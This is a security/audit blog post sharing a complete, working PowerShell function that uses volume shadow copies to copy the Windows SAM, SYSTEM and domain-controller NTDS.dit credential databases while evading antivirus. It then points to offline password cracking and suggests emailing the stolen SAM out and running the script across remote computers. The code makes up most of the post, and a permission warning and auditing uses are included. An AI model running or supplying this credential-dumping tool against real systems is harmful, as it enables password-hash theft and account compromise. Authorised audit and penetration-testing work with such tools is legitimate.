Extracting Windows Passwords with PowerShell

Happy New Year! I hope everyone has had a great holiday season so far and is excited and ready for a new year full of auditing excitement! For the first post of the year I thought we would discuss a topic more for fun and something different in the hopes of inspiring you to spend a little more with PowerShell and scripting.

WARNING: Please do not attempt anything we’re about to discuss without clear permission from everyone and anyone you can think of. If you don’t have permission, don’t do it!! Anyways…

One problem auditors and penetration testers often have when auditing passwords is that most of the tools that are commonly used to extract passwords from a Windows system are viewed as malware by the anti-virus software installed on the system. Or if you have whitelisting software installed, then you are only able to execute the binaries approved in advance by management. But what if you want to rely on native tools and commands to do your assessment and you want to “live off the land”? That’s where Microsoft’s PowerShell comes in handy.

The folks at ObscureSecurity.com (http://www.obscuresecurity.blogspot.com/) contributed a function to the Microsoft Scripting Center called Get-PasswordFile. The idea of the script is to use native PowerShell functions to extract a local SAM database from a Microsoft Windows computer without causing damage to the underlying operating system or trigger an anti-virus alert. If you’re not sure what to do with a PowerShell function, here’s some advise you might want to read as well (http://www.mikepfeiffer.net/2010/06/how-to-add-functions-to-your-powershell-session/).

Here’s the code for their function:

function Get-PasswordFile { 
<# 
.SYNOPSIS 
 
    Copies either the SAM or NTDS.dit and system files to a specified directory. 
 
.PARAMETER DestinationPath 
 
    Specifies the directory to the location where the password files are to be copied. 
 
.OUTPUTS 
 
    None or an object representing the copied items. 
 
.EXAMPLE 
 
    Get-PasswordFile "c:\temp" 
 
#> 
 
    [CmdletBinding()] 
    Param 
    ( 
        [Parameter(Mandatory = $true, Position = 0)] 
        [ValidateScript({Test-Path $_ -PathType 'Container'})]  
        [ValidateNotNullOrEmpty()] 
        [String]  
        $DestinationPath      
    ) 
 
        #Define Copy-RawItem helper function from http://gallery.technet.microsoft.com/scriptcenter/Copy-RawItem-Private-NET-78917643 
        function Copy-RawItem 
        { 
 
        [CmdletBinding()] 
        [OutputType([System.IO.FileSystemInfo])] 
        Param ( 
            [Parameter(Mandatory = $True, Position = 0)] 
            [ValidateNotNullOrEmpty()] 
            [String] 
            $Path, 
 
            [Parameter(Mandatory = $True, Position = 1)] 
            [ValidateNotNullOrEmpty()] 
            [String] 
            $Destination, 
 
            [Switch] 
            $FailIfExists 
        ) 
 
        # Get a reference to the internal method - Microsoft.Win32.Win32Native.CopyFile() 
        $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')} 
        $Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native') 
        $CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static'))  
 
        # Perform the copy 
        $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists']))) 
 
        $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 
 
        if ($CopyResult -eq $False -and $HResult -ne 0) 
        { 
            # An error occured. Display the Win32 error set by CopyFile 
            throw ( New-Object ComponentModel.Win32Exception ) 
        } 
        else 
        { 
            Write-Output (Get-ChildItem $Destination) 
        } 
    } 
  
    #Check for admin rights
    if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
    {
        Write-Error "Not running as admin. Run the script with elevated credentials"
        Return
    }
        
    #Get "vss" service startup type 
    $VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode 
    if ($VssStartMode -eq "Disabled") {Set-Service vss -StartUpType Manual} 
 
    #Get "vss" Service status and start it if not running 
    $VssStatus = (Get-Service vss).status  
    if ($VssStatus -ne "Running") {Start-Service vss} 
 
        #Check to see if we are on a DC 
        $DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole 
        $IsDC = $False 
        if ($DomainRole -gt 3) { 
            $IsDC = $True 
            $NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters)."DSA Database File" 
            $FileDrive = ($NTDSLocation).Substring(0,3) 
        } else {$FileDrive = $Env:HOMEDRIVE + '\'} 
     
        #Create a volume shadow filedrive 
        $WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy" 
        $ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible") 
        $ReturnValue = $ShadowCopy.ReturnValue 
 
        if ($ReturnValue -ne 0) { 
            Write-Error "Shadow copy failed with a value of $ReturnValue" 
            Return 
        }  
     
        #Get the DeviceObject Address 
        $ShadowID = $ShadowCopy.ShadowID 
        $ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject 
     
            #If not a DC, copy System and SAM to specified directory 
            if ($IsDC -ne $true) { 
 
                $SamPath = Join-Path $ShadowVolume "\Windows\System32\Config\sam"  
                $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 
 
                #Utilizes Copy-RawItem from Matt Graeber 
                Copy-RawItem $SamPath "$DestinationPath\sam" 
                Copy-RawItem $SystemPath "$DestinationPath\system" 
            } else { 
             
                #Else copy the NTDS.dit and system files to the specified directory             
                $NTDSPath = Join-Path $ShadowVolume "\Windows\NTDS\NTDS.dit"  
                $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 
 
                Copy-RawItem $NTDSPath "$DestinationPath\ntds" 
                Copy-RawItem $SystemPath "$DestinationPath\system" 
            }     
     
        #Return "vss" service to previous state 
        If ($VssStatus -eq "Stopped") {Stop-Service vss} 
        If ($VssStartMode -eq "Disabled") {Set-Service vss -StartupType Disabled} 
}

Once you have the local SAM database from a computer the next step would be to examine the databases in your favorite password cracking tool offline, such as Cain from http://oxit.it.

In general those of you who know me know that I’m always a little hesitant to recommend that auditors especially consider password cracking at all. If an auditor chooses to run a script like this there should be a clear business reason for running the script, and should only be done with clearly documented management approval. But a script like this, downloading the SAM database from a local computer can still have quite a few benefits. Some of the controls an auditor might be able to test with this file are:

    Are only the appropriate user accounts on each local computer?
    Are any local user accounts using blank passwords?
    Are any local user accounts using the same password?
    Are any local user accounts using passwords that do not match the organization’s password policies?

So what else could we do with this script? From an automation and penetration testing perspective there’s all sorts of creative things we could do next. Just a few creative ideas you might consider:

    Automate the script to download the local SAM database
    Automate the script to encrypt the SAM and email it to the penetration tester
    Automate the script to run against multiple remote computers

There’s just all sorts of fun that a penetration tester or auditor could have with this tool if they really wanted to. Again, I hope this code is useful to you and your security efforts. To a great 2014!